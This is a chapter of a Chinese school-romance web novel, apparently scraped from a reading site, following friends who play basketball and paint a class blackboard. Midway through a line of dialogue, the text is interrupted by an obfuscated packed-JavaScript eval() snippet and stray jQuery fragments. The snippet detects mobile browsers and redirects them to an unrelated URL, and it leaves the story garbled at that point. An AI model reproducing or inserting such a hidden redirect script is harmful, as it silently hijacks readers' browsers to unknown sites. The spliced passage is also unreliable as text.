默认冷灰
24号文字
方正启体

7. 小狗日记07

作者:时汀本书字数:K更新时间:
    最终,陆泊舟收获和张闯、霍念念一起在年级主任办公室门口罚站的奖励。


    “靠,兄弟,那是我新买的篮球。”


    晚上放学,江珝、谢知年和陆泊舟三人约好一起去打篮球。


    一路上,江珝忍不住向陆泊舟抱怨。


    陆泊舟大剌剌道:“没办法,兄弟。老谢不让把篮球带进楼,我这也算替你挡了一灾,不然被骂就是你了。”


    江珝幽幽叹了声,转着手上那只已经掉了皮的旧篮球。


    他对谢知年道:“没办法,只借到这么个破球,委屈你了。”


    “我都可以的。”谢知年笑了笑,温声道。


    放学后的操场是一天中最热闹的时候。


    夕阳西下,人声鼎沸。少年少女明媚的笑脸笼着暖融融的光,整座操场像是浸泡在浓稠的蜜罐里。


    篮球场全是人。


    陆泊舟找到认识的人,组了个3v3。


    “等着瞧,今天打爆你们。”他撸起校服袖子,朝几人扬扬下巴。


    对面的男生朝他竖了个中指,将手中的球传给队友。


    并非正规比赛,大家打得随意。


    本就是陪谢知年打球,江珝和陆泊舟只要抢到球,都会传给他。


    也不知是不是第一次和他们打球,太过紧张,谢知年每每接到球都会手足无措,要不投空,要不被对方截胡。最后一球,他有些走神,篮球撞掉他的眼镜。


    “抱歉,你没事吧。”江珝跑过来,帮他捡起地上的眼镜。


    “没事,走神了。”谢知年温声与他道谢,擦净眼镜。


    陆泊舟也凑过来:““大神,你这投篮还不如许愿‘端尿盆’投得准。”


    谢知年戴上眼镜,也不生气,笑吟吟道:“我篮球打得确实不好。”


    “你这技术肯定进不了篮球队。”陆泊舟遗憾地叹了声,“大神,你真是白瞎这大高个儿了。”


    谢知年但笑不语。


    江珝勾住谢知年的肩膀,不以为意地笑了笑:“没事,进不了就算了。运动会的篮球赛好打,可以一起玩儿。”


    “嗯。”谢知年笑着点点头。


    几人又打了会儿,夕阳渐渐沉入地平线。


    浓稠的夜色笼罩整座校园,原本充满欢声笑语的操场渐渐没了声响。


    回教室的路上经过小超市,江珝买了可乐,递给两人。


    他单手拿着易拉罐,修长的指节抵在铝环上,轻轻一扣,气泡便“滋滋”冒了出来。


    他灌了口可乐,有一搭无一搭地听着两人聊天。


    陆泊舟正兴致勃勃地给谢知年介绍着学校活动。


    月中旬有场“百团大战”——也就是各大社团的招新活动;月底是运动会;十月中旬是学校的科技周;十月底秋游;再往后是艺术节、元旦晚会……


    陆泊舟如数家珍,似乎只要不跟学习挂钩的事,他都感兴趣。


    “大神,要不要加入我们电竞社,一起打游戏?”陆泊舟勾着谢知年的肩膀,疯狂安利自家社团。


    谢知年讪讪:“我不太擅长打游戏。”


    陆泊舟忍不住叹了声:“大神,你不会打篮球,也不会打游戏……那你平时都干些什么啊?不会只学习吧?”


    “唔。”谢知年含糊地应了声。他似乎并不想继续这个话题,转头看向江珝,问,“江珝呢?你参加了哪些社团?”


    江珝掰着手指道:“篮球队、机器人社……还有一个,不确定。”


    “不确定?”


    江珝颔首:“看林岁穗,她那三分钟热度,谁知道这学期又要加哪个社团。”


    陆泊舟笑嘻嘻道:“你这话说的,林女侠怎么能叫三分钟热度?人家是喜欢体验新鲜事物。”


    “是是是,要不是学校规定每人每学期只能参加三个社团,林岁穗能把所有社团参加一遍。她每学期都要换三个不同的社团参加,这不是三分钟热度是什么?


    陆泊舟揶揄:“还说人家。你上学期不也屁颠屁颠跟人家去钩针社了。大神,你不知道,全场就他一男的跟那儿织围巾,那画面老美了。”


    江珝脸颊一红:“你懂什么。织围巾既培养动手能力又培养专注力快速进入心流,你这种ADHD也该去试试。”


    “我才不去。我们铁血真男人才不喜欢那些小姑娘的玩意儿,我们都喜欢撸铁。”陆泊舟骄傲地比了个“肌肉美男”的造型。


    江珝白他:“你这是刻板印象。”


    两人你一言我一语,争论得不可开交。


    谢知年安静地聆听着。


    两人叫他评理,谢知年笑了笑,只道:“你和岁岁关系真好,社团都要在同一个。”


    江珝指尖一顿——


    岁岁……?


    他将罐里的可乐一饮而尽,微一使劲,圆滚滚的易拉罐被他捏成一片。


    他随手将易拉罐丢进垃圾箱,眯了眯眼,道:“我俩只是恰好从小认识,关系就那样。反正都要一起回家,一个社团正好一起走。”


    陆泊舟啧啧两声,勾住谢知年的脖子,揶揄道:“我就说他俩有个娃娃亲吧,黏得要命。”


    江珝斜晲他一眼:“那是小时候爸妈开玩笑的。都上高中了,能不能别老把这些玩笑话当真。”


    -


    新学期伊始,要重新更换班里的板报。


    许愿是文艺委员,这事自然落在她头上。


    奈何她虽然喜欢画画,却没有这方面的天赋,只会画萌萌的大眼睛兔子。林岁穗便主动帮她承担了这部分的工作。


    虽说林岁穗的绘画技术也就那样,但她好歹正儿八经学过三年素描,有点美术功底。再加上她喜欢看动漫逛展览,自诩阅片无数审美过硬,就是照猫画虎,也能画出个大概来。


    三个男生去打球,两人在班里画板报,等他们回来一起走。


    两人说说笑笑,画了大概一个小时,江珝和谢知年回来了。


    看到他们,林岁穗问:“陆泊舟呢?”


    “还球去了,一会儿回来。”江珝回。


    他把带回来的饮料递给林岁穗和许愿,一瓶是有糖可乐,一瓶无糖。


    林岁穗正在大刀阔斧地涂抹着颜料,看到他手里的可乐,她朝江珝咧嘴一笑:“谢谢。”


    江珝撇撇嘴,他顺手帮她拉开易拉环,吐槽道:“自己没长手?”


    林岁穗朝他摊开手掌,上面沾着花花绿绿的颜料:“全是颜料,没办法啊。”


    江珝把可乐递给她,林岁穗还是咧着嘴笑。


    江珝无语:“还想让我喂你?!”


    林岁穗还是那句话:“都说了手上全是颜料。”


    江珝不惯着她,把易拉罐往她手里一塞:“自己喝。”


    林岁穗没办法,只能自己拿着可乐,咕噜咕噜一口气喝掉大半罐。


    易拉罐上被她沾上花花绿绿的颜料,江珝垂眸睨了一眼,嫌弃道:“真邋遢。”


    林岁穗眨眨眼,她咧嘴一笑,伸出另一只手在他脸颊上蹭了蹭。


    江珝躲闪不及,气得瞪她:“林岁穗——!”


    林岁穗乐不可支,朝他摊手:“这只手不脏。”


    江珝怨念地瞪她一眼,从兜里翻出手机,再三确认脸上没沾颜料才放心。


    他后知后觉地反应过来:“你手不脏还叫我帮你打开?”


    林岁穗一本正经点点头:“对啊,就喜欢使唤你。”


    江珝:“……”


    “对了,”林岁穗道,“上面够不到,能不能帮我画?”


    她指了指黑板顶部,上面空空如也,什么也没画。


    江珝仰头看了看,蹙眉道:“你自己不会踩着椅子上去画?”


    林岁穗白他:“我试了!要是够得着还问你啊!”


    江珝指了指一旁的谢知年,问:“那你干嘛不让他帮你?”


    林岁穗顺着他手指的方向望去,谢知年正在收拾书包。


    听到两人的对话,他抬头看了过来。


    林岁穗与他对上目光,脸颊一红,脸上的笑容都变得腼腆了几分。


    她害羞地收回视线,对江珝道:“我不是说了,就喜欢使唤你啊。”


    江珝:“……”


    虽然不情不愿,但他还是踩着椅子上去,接过林岁穗递来的调色盘和画笔。


    “怎么画。”


    “上面那块空着的地方,你用白色把两边涂满。”


    江珝沾了白色颜料,在最上方胡乱地涂了几下。


    林岁穗气得拧他:“江珝!你会不会画画!你好意思说自己学过画画?”


    “我不就陪你上了几天少年宫,那也叫学过?”


    “你没看到我都是顺着一个方向涂的?你也那么画呀。”


    江珝随便画了两下:“这样?”


    “嗯嗯


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531691|203708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    江珝撇撇嘴,按照她的指示,将空白的地方涂满。


    林岁穗仰着脑袋,看他画了会儿。


    她突然想到什么,转头对谢知年道:“对了,谢知年。刚才老张……物理老师过来,说你们班的作业多加两道教材上的练习题,题号写黑板上了,你记得对一下呀。”


    “嗯,我看到了,谢谢。”谢知年笑着道谢。


    正在专心画画的江珝不悦地蹙了下眉:“你为什么不提醒我?”


    林岁穗无语:“你耳朵聋啊?我说的时候你听不见?”


    “我没带课本,在桌子上,你帮我装一下。”


    “已经帮你装好了,题号也标出来了。”林岁穗翻了个白眼,“真服了,能把别人的书带回家,你也是厉害。”


    江珝咧嘴笑了笑。


    他帮林岁穗把够不着的地方悉数画好,问:“还有其他要画的地方吗?”


    林岁穗看了眼时间,摇摇头:“剩下的明天再画吧。等陆泊舟回来一起走吧。”


    “行。”江珝把颜料盘和画笔递给林岁穗,林岁穗抬手扶他下来。


    江珝握住她的胳膊,像是故意把全身重量倚在她身上,纵身从椅子上跃了下来。


    林岁穗差点被他掀倒,好在江珝站得比较稳,微一使劲,将她扶稳。


    “江珝——!”林岁穗气得咬牙。


    江珝坏笑着朝她勾了勾唇角,拿走她手中的笔筒和颜料盘:“我去帮你洗干净。”


    ……


    江珝将颜料盘和笔筒悉数清洗干净,从卫生间出来,正好遇到还完球的陆泊舟。


    两人一起回到教室。


    两人原本有说有笑,但是当陆泊舟看到黑板墙上林岁穗的“大作”时,他惊得说不出话来。


    原本干净的黑板墙一边被五颜六色的颜料塞得满满当当,极具视觉冲击力。


    陆泊舟满是震惊地问林岁穗:“林女侠,这块黑板是惹你不高兴了吗?你为何如此摧残它。”


    林岁穗正在收拾书包,不甚在意地瞥他一眼:“你懂什么,这叫艺术。琼·米切尔听过没有?抽象表现主义运动的杰出女艺术家,我这是在致敬经典。”


    陆泊舟摇摇头。别说什么琼·米切尔了,他实在无法从一堆花花绿绿胡乱堆砌的色块中看出所谓的“艺术”。


    抽象倒是挺抽象的。


    相较之下,他还是喜欢上学期画的流川枫。


    帅毙了。


    他歪头问许愿:“许愿,你就让她这么毁你的板报?”


    许愿正在一旁听着音乐写作业。


    陆泊舟叫了她好几次,她才反应过来,摘下耳机。


    她扫了眼林岁穗的杰作,弯起眼眸:“我觉得挺好的呀。这不是还没画完嘛,岁岁画完肯定很好看。”


    陆泊舟:“……”


    林岁穗笑嘻嘻朝许愿比了个飞吻。


    她洋洋得意:“就你没审美,土老帽儿。”


    “不可能!”陆泊舟不死心,问一旁的谢知年,“大神,你能看出艺术来吗?!”


    谢知年扫了两眼,他对这团花花绿绿的色块也看不出所以然来,但他和陆泊舟不同,不理解,但尊重。


    他笑了笑,道:“我也不太了解,你问江珝吧。”


    陆泊舟不屑:“他还不如我呢,他懂个屁艺术。”


    江珝“嘶”了声,不满道:“我怎么不懂,这不画的咱们学校么。”


    林岁穗两眼放光:“哟,少年,懂艺术啊!”


    江珝得意地挑挑眉:“当然。”


    陆泊舟满脸震惊,他看看江珝,又看看黑板上那些堆叠在一起的、极具视觉冲击力的颜料:“你特么告我这是咱们学校——?”


    江珝点点头,随手一指:“这不很明显么,这是教学楼后面的钟楼,这就是教学楼、操场呗。你看这几条线,操场的看台都画出来了,多像啊。”


    “你瞧瞧,这片绿色不仅是学校的花园,也象征蓬勃的生机,这团黄色代表创作者乐观阳光的精神,作者用最喜欢的粉色画教学楼,说明了对校园的热爱。当然,最上面的白色是点睛之笔,画得最好。”江珝说得头头是道。末了,他不忘嫌弃地瞥陆泊舟一眼,学着林岁穗的语气,“这是艺术,你懂什么!”


    陆泊舟欲言又止,止言又欲。


    他朝江珝比了个大拇指:“你俩真是高山流水遇知音呐。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)